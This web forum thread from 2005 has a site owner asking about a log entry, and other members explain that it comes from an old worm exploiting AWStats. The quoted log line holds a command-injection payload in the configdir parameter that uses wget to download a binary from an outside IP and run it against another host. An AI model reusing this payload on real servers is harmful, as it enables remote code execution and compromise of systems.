| View previous topic :: View next topic |
| Author |
Message |
kev1952
-
Joined: 08 Sep 2005
Posts: 105
Location: Townsville Australia
|
 Posted: Tue Dec 20, 2005 1:19 am Post subject: Log Entry Query |
 |
|
Can anyone tell me what this entry in the log means? Is it some type of robot or something more sinister?
81.27.226.10 - - [20/Dec/2005:07:41:42 +1000] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 234
I get a few of these every day from different IPs and in different form. The result is always an error 404 so they're not getting anything, but it is worrying.
_________________
Cheers.... Kev
Kev's Place - http://www.kevsplace.com
Powered by Abyss X1. |
|
| Back to top |
    |
 |
p3
-
Joined: 17 Jun 2005
Posts: 615
|
| Posted: Tue Dec 20, 2005 2:13 am Post subject: |
|
|
| It's from an old worm used to exploit AWStats, a popular stats analyzer. There is nothing to worry about; you can be comforted 'cause it just returned a 404 anyways. |
|
| Back to top |
|
|
kev1952
-
Joined: 08 Sep 2005
Posts: 105
Location: Townsville Australia
|
| Posted: Tue Dec 20, 2005 5:21 am Post subject: |
|
|
Thanks, p3. Do you happen to know what it is actually looking for? It just seems like a pointless excercise to me... :)
_________________
Cheers.... Kev
Kev's Place - http://www.kevsplace.com
Powered by Abyss X1. |
|
| Back to top |
|
|
cmxflash
-
Joined: 11 Dec 2004
Posts: 872
|
| Posted: Tue Dec 20, 2005 9:56 am Post subject: |
|
|
| Probably some computer infected with a virus searching for random servers to attack. I usually get these attacks about 40-50 times a day. |
|
| Back to top |
|
|
Anonymoose
-
Joined: 09 Sep 2003
Posts: 2192
|
|
| Back to top |
|
|
|
